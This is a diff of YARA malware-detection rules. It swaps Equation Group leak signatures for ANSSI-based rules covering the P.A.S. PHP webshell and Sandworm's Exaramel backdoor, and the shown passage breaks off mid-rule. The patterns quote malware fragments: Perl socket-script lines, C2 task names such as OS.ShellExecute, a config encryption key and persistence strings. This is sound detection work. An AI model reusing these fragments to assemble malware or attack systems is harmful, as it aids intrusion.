+		description = "Detects P.A.S. PHP webshell - Based on DHS/FBI JAR-16-2029 (Grizzly  Steppe)"
+		author = "FR/ANSSI/SDO (modified by Florian Roth)"
+		id = "862aab77-936e-524c-8669-4f48730f4ed5"
+		date = "2021-02-15"
+		modified = "2024-05-25"
+		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_centreon.yar#L10-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "977ee0fdf0e92ccea6b71fea7b2c7aed2965c6966d8af86230ccb0f95b286694"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "108243f61c53f00f8f1adcf67c387a8833f1a2149f063dd9ef29205c90a3c30a"
 
 	strings:
-		$x1 = "[+] Target is vulnerable to %d exploit%s" fullword ascii
+		$php = "<?php"
+		$strreplace = "(str_replace("
+		$md5 = ".substr(md5(strrev($"
+		$gzinflate = "gzinflate"
+		$cookie = "_COOKIE"
+		$isset = "isset"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and all of them )
+		( filesize >20KB and filesize <200KB) and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Educatedscholartouch_1_0_0 : FILE
+rule SIGNATURE_BASE_WEBSHELL_PAS_Webshell_Ziparchivefile
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "62205374-25a3-5b96-ad0a-a82c9a01a242"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1668-L1682"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4c06fad158db8337ff768ad1553401ec31eee6b0d50333ce91a3a12e79d8981a"
-		score = 75
+		description = "Detects an archive file created by P.A.S. for download operation"
+		author = "FR/ANSSI/SDO (modified by Florian Roth)"
+		id = "081cc65b-e51c-59fc-a518-cd986e8ee2f7"
+		date = "2021-02-15"
+		modified = "2024-05-25"
+		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_centreon.yar#L30-L42"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c15e7022f45ec211ba635d6cd31bab16f4fb0d3038fb19d5765e0f751c14a826"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f4b958a0d3bb52cb34f18ea293d43fa301ceadb4a259d3503db912d0a9a1e4d8"
+		tags = ""
 
 	strings:
-		$x1 = "[!] A vulnerable target will not respond." fullword ascii
-		$x2 = "[-] Target NOT Vulernable" fullword ascii
+		$s1 = "Archive created by P.A.S. v."
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <30KB and 1 of them )
+		$s1
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Esteemaudittouch_2_1_0 : FILE
+rule SIGNATURE_BASE_WEBSHELL_PAS_Webshell_Perlnetworkscript : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bb66245e-1261-50bd-8666-75fc4c52ad84"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1684-L1698"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f4e62ec7a68115d5ff155ea94fb2c99b9177e928533338a111e531c694ff7b8f"
-		score = 75
+		description = "Detects PERL scripts created by P.A.S. webshell"
+		author = "FR/ANSSI/SDO"
+		id = "1625b63f-ead7-5712-92b4-0ce6ecc49fd4"
+		date = "2021-02-15"
+		modified = "2024-05-25"
+		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_centreon.yar#L44-L62"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b170c07a005e737c8069f2cc63f869d4d3ff6593b3bfca5bcaf02d7808da6852"
+		score = 90
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f6b9caf503bb664b22c6d39c87620cc17bdb66cef4ccfa48c31f2a3ae13b4281"
 
 	strings:
-		$x1 = "[-] Touching the target failed!" fullword ascii
-		$x2 = "[-] OS fingerprint not complete - 0x%08x!" fullword ascii
+		$pl_start = "#!/usr/bin/perl\n$SIG{'CHLD'}='IGNORE'; use IO::Socket; use FileHandle;"
+		$pl_status = "$o=\" [OK]\";$e=\" Error: \""
+		$pl_socket = "socket(SOCKET, PF_INET, SOCK_STREAM,$tcp) or die print \"$l$e$!$l"
+		$msg1 = "print \"$l OK! I\\'m successful connected.$l\""
+		$msg2 = "print \"$l OK! I\\'m accept connection.$l\""
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
+		filesize <6000 and ($pl_start at 0 and all of ($pl*)) or any of ($msg*)
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Rpctouch_2_1_0 : FILE
+rule SIGNATURE_BASE_WEBSHELL_PAS_Webshell_Sqldumpfile
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0691768b-ca98-5722-8468-737c4966d54d"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1700-L1714"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3ea1f30c0a2c91cc9ca2eec8eaab167c83f4f52c2732d03d1e7fb99e63986662"
-		score = 75
+		description = "Detects SQL dump file created by P.A.S. webshell"
+		author = "FR/ANSSI/SDO"
+		id = "4c26feeb-3031-5c91-9eeb-4b5fe9702e39"
+		date = "2021-02-15"
+		modified = "2024-05-25"
+		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_centreon.yar#L64-L76"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c34abcada22fdf462fd66cc2da18ab9e54215defc6f7a7a95b5a80d1155a2ffe"
+		score = 90
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7fe4c3cedfc98a3e994ca60579f91b8b88bf5ae8cf669baa0928508642c5a887"
+		tags = ""
 
 	strings:
-		$x1 = "[*] Failed to detect OS / Service Pack on %s:%d" fullword ascii
-		$x2 = "[*] SMB String: %s (%s)" fullword ascii
+		$ = "-- [ SQL Dump created by P.A.S. ] --"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <80KB and 1 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Mofconfig_1_0_0 : FILE
+rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Configuration_Key
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d0d32e19-d004-5941-a5b3-0b4306565cf2"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1716-L1729"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a922eb01efa52601b72c3d91a26585504fcf706a9ed16a36328f94f5871b0b24"
-		score = 75
+		description = "Detects the encryption key for the configuration file used by Exaramel malware as seen in sample e1ff72[...]"
+		author = "FR/ANSSI/SDO"
+		id = "8078de62-3dd2-5ee0-8bda-f508e4013144"
+		date = "2021-02-15"
+		modified = "2024-05-25"
+		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_centreon.yar#L78-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "056503a2c240a641cd2292a30ab1090e3a358cb4d57dca83b836ecb1bc62ed6b"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c67a24fe2380331a101d27d6e69b82d968ccbae54a89a2629b6c135436d7bdb2"
+		tags = ""
 
 	strings:
-		$x1 = "[-] Get RemoteMOFTriggerPath error" fullword ascii
+		$ = "odhyrfjcnfkdtslt"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <50KB and all of them )
+		all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Easypi_Explodingcan : FILE
+rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Configuration_Name_Encrypted
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "53d4ebf1-cce3-5fc8-8304-064b4113c9d7"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1731-L1747"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c5978d8cbffde2339cadd84f44d1df24e76f298a2f05bd9a6565246bfae1b1e3"
-		score = 75
+		description = "Detects the specific name of the configuration file in Exaramel malware as seen in sample e1ff72[...]"
+		author = "FR/ANSSI/SDO"
+		id = "1c06f5fc-3435-51cd-92fb-17a4ab6b63ad"
+		date = "2021-02-15"
+		modified = "2024-05-25"
+		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_centreon.yar#L92-L104"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f65d59381403534a2c2f39d66c7c62bf1540eafc9aad1ad73de1809e91c42446"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "dc1ddad7e8801b5e37748ec40531a105ba359654ffe8bdb069bd29fb0b5afd94"
-		hash2 = "97af543cf1fb59d21ba5ec6cb2f88c8c79c835f19c8f659057d2f58c321a0ad4"
+		tags = ""
 
 	strings:
-		$x1 = "[-] %s - Target might not be in a usable state." fullword ascii
-		$x2 = "[*] Exploiting Target" fullword ascii
-		$x3 = "[-] Encoding Exploit Payload failed!" fullword ascii
+		$ = "configtx.json"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Eclipsedwingtouch_1_0_4 : FILE
+rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Configuration_File_Plaintext
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "87e46fcd-d3e5-506a-97f3-8a18a7ba8042"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1749-L1763"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4707dbbb302b9b2192bdd23e4b64e25b5b2f49c3dd7951905a07cb5b54d524d9"
-		score = 75
+		description = "Detects contents of the configuration file used by Exaramel (plaintext)"
+		author = "FR/ANSSI/SDO"
+		id = "6f0d834b-e6c8-59e6-bf9a-b4fd9c0b2297"
+		date = "2021-02-15"
+		modified = "2024-05-25"
+		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_centreon.yar#L106-L118"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "536327d5216372a3fd2f4dad0a21be2778ce2930212daf0a8628ecbdab49b46e"
+		score = 80
+		quality = 85
+		tags = ""
+
+	strings:
+		$ = /\{"Hosts":\[".{10,512}"\],"Proxy":".{0,512}","Version":".{1,32}","Guid":"/
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Configuration_File_Ciphertext
+{
+	meta:
+		description = "Detects contents of the configuration file used by Exaramel (encrypted with key odhyrfjcnfkdtslt, sample e1ff72[...]"
+		author = "FR/ANSSI/SDO"
+		id = "763dbb17-2bad-5b40-8a7b-b71bc5849cd9"
+		date = "2021-02-15"
+		modified = "2024-05-25"
+		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_centreon.yar#L120-L132"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9dc7ee5b0a218a2b5be652e137fa090c944c3ddb0f699f521a72896668210813"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "46da99d80fc3eae5d1d5ab2da02ed7e61416e1eafeb23f37b180c46e9eff8a1c"
+		tags = ""
 
 	strings:
-		$x1 = "[-] The target is NOT vulnerable" fullword ascii
-		$x2 = "[+] The target IS VULNERABLE" fullword ascii
+		$ = { 6F B6 08 E9 A3 0C 8D 5E DD BE D4 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <50KB and 1 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Iistouch_1_2_2 : FILE
+rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Socket_Path
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dd6ea8cc-505d-5c7c-a7ea-c5fa4f14b5ee"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1765-L1779"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f4f5e17d3777d6ae8bfd0646eeffcd631331e4d8966f5124ebc9352438dc790f"
-		score = 75
+		description = "Detects path of the unix socket created to prevent concurrent executions in Exaramel malware"
+		author = "FR/ANSSI/SDO"
+		id = "3aab84c9-9748-5d11-9cd7-efa9151036cf"
+		date = "2021-02-15"
+		modified = "2024-05-25"
+		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_centreon.yar#L134-L146"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8c049b5a7b508ca0f160d166f3c726e4a23a2c5b3105d075d7bf7a301a1c58f6"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c433507d393a8aa270576790acb3e995e22f4ded886eb9377116012e247a07c6"
+		tags = ""
 
 	strings:
-		$x1 = "[-] Are you being redirectect? Need to retarget?" fullword ascii
-		$x2 = "[+] IIS Target OS: %s" fullword ascii
+		$ = "/tmp/.applocktx"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <60KB and 1 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Namedpipetouch_2_0_0 : FILE
+rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Task_Names
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0a5519d7-9811-5159-8df2-0cb2995d5085"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1781-L1800"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "63d4395db4672b7a146dbd285e42344fb895b38f67fa9f7885b73855d7211190"
-		score = 75
+		description = "Detects names of the tasks received from the CC server in Exaramel malware"
+		author = "FR/ANSSI/SDO"
+		id = "185f2f3b-bf5c-54af-bca2-400d08bf9c91"
+		date = "2021-02-15"
+		modified = "2024-05-25"
+		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_centreon.yar#L148-L167"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "193482da1e2b9509fa9c65d46edc56057f7b5d44b7408d918d4a9cbb60736dab"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "cb5849fcbc473c7df886828d225293ffbd8ee58e221d03b840fd212baeda6e89"
-		hash2 = "043d1c9aae6be65f06ab6f0b923e173a96b536cf84e57bfd7eeb9034cd1df8ea"
+		tags = ""
 
 	strings:
-		$s1 = "[*] Summary: %d pipes found" fullword ascii
-		$s3 = "[+] Testing %d pipes" fullword ascii
-		$s6 = "[-] Error on SMB startup, aborting" fullword ascii
-		$s12 = "92a761c29b946aa458876ff78375e0e28bc8acb0" fullword ascii
-		$op1 = { 68 10 10 40 00 56 e8 e1 }
+		$ = "App.Delete"
+		$ = "App.SetServer"
+		$ = "App.SetProxy"
+		$ = "App.SetTimeout"
+		$ = "App.Update"
+		$ = "IO.ReadFile"
+		$ = "IO.WriteFile"
+		$ = "OS.ShellExecute"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <40KB and 2 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Easybee_1_0_1 : FILE
+rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Struct
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f170ed34-f7d1-5eb2-9400-4308b6b39388"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1802-L1816"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e3488a1d686b9ad468553cfe2c939e70ea6b9a21409df8b06bb54418495576ec"
-		score = 75
+		description = "Detects the beginning of type _type struct for some of the most important structs in Exaramel malware"
+		author = "FR/ANSSI/SDO"
+		id = "8282e485-966c-554d-8e41-70dc1657f5ea"
+		date = "2021-02-15"
+		modified = "2024-05-25"
+		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_centreon.yar#L169-L185"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "312d0598fa85837f94023036468fcae50e8b2de532430a944befa8090afe79f6"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "59c17d6cb564edd32c770cd56b5026e4797cf9169ff549735021053268b31611"
+		tags = ""
 
 	strings:
-		$x1 = "@@for /f \"delims=\" %%i in ('findstr /smc:\"%s\" *.msg') do if not \"%%MsgFile1%%\"==\"%%i\" del /f \"%%i\"" fullword ascii
-		$x2 = "Logging out of WebAdmin (as target account)" fullword ascii
+		$struct_le_config = {70 00 00 00 00 00 00 00 58 00 00 00 00 00 00 00 47 2d 28 42 0? [2] 19}
+		$struct_le_worker = {30 00 00 00 00 00 00 00 30 00 00 00 00 00 00 00 46 6a 13 e2 0? [2] 19}
+		$struct_le_client = {20 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 7b 6a 49 84 0? [2] 19}
+		$struct_le_report = {30 00 00 00 00 00 00 00 28 00 00 00 00 00 00 00 bf 35 0d f9 0? [2] 19}
+		$struct_le_task = {50 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 88 60 a1 c5 0? [2] 19}
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
+		any of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Regread_1_1_1 : FILE
+rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Strings_Typo
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "99a2b146-a277-5917-9a84-3d396d2c8bf9"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1818-L1832"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5bf833d7fb073ad74037cf6df4729c75d50641a46a962aee8deac19e31b74419"
-		score = 75
+		description = "Detects misc strings in Exaramel malware with typos"
+		author = "FR/ANSSI/SDO"
+		id = "fdc79b87-eb9e-5751-9474-ff653b073165"
+		date = "2021-02-15"
+		modified = "2024-05-25"
+		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_centreon.yar#L187-L202"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "65e6de743eb9fc742674c7e54eef8a376963a6fd4380bacd03fe6f92d4235920"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "722f034ba634f45c429c7dafdbff413c08976b069a6b30ec91bfa5ce2e4cda26"
+		tags = ""
 
 	strings:
-		$s1 = "[+] Connected to the Registry Service" fullword ascii
-		$s2 = "f08d49ac41d1023d9d462d58af51414daff95a6a" fullword ascii
+		$typo1 = "/sbin/init | awk "
+		$typo2 = "Syslog service for monitoring \n"
+		$typo3 = "Error.Can't update app! Not enough update archive."
+		$typo4 = ":\"metod\""
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <80KB and 1 of them )
+		3 of ($typo*)
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Englishmansdentist_1_2_0 : FILE
+rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Strings
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "76367c53-9b48-59a1-9ac9-8649fd833fe3"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1834-L1848"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cd415731c1c8398d2b0b1758c4e7eb3e708620b269f9312cf0a750ab2099162e"
-		score = 75
+		description = "Detects Strings used by Exaramel malware"
+		author = "FR/ANSSI/SDO (composed from 4 saparate rules by Florian Roth)"
+		id = "fdc79b87-eb9e-5751-9474-ff653b073165"
+		date = "2021-02-15"
+		modified = "2024-05-25"
+		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_centreon.yar#L204-L232"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9d2790e60184ed973b2735263d0a997f32af0beacc9ea8ef65926fe6507011d5"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2a6ab28885ad7d5d64ac4c4fb8c619eca3b7fb3be883fc67c90f3ea9251f34c6"
+		tags = ""
 
 	strings:
-		$x1 = "[+] CheckCredentials(): Checking to see if valid username/password" fullword ascii
-		$x2 = "Error connecting to target, TbMakeSocket() %s:%d." fullword ascii
+		$persistence1 = "systemd"
+		$persistence2 = "upstart"
+		$persistence3 = "systemV"
+		$persistence4 = "freebsd rc"
+		$report1 = "systemdupdate.rep"
+		$report2 = "upstartupdate.rep"
+		$report3 = "remove.rep"
+		$url1 = "/tasks.get/"
+		$url2 = "/time.get/"
+		$url3 = "/time.set"
+		$url4 = "/tasks.report"
+		$url5 = "/attachment.get/"
+		$url6 = "/auth/app"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
+		(5 of ($url*) and all of ($persistence*)) or ( all of ($persistence*) and all of ($report*)) or (5 of ($url*) and all of ($report*))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Architouch_Eternalsynergy_Smbtouch : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Destructive_Ransomware_Gen1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects destructive malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "df3b0794-cbbd-530c-8425-fdf4b116b870"
-		date = "2017-04-15"
+		id = "3a7ce55e-fb28-577b-91bb-fe02d7b3d73c"
+		date = "2018-02-12"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1850-L1870"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
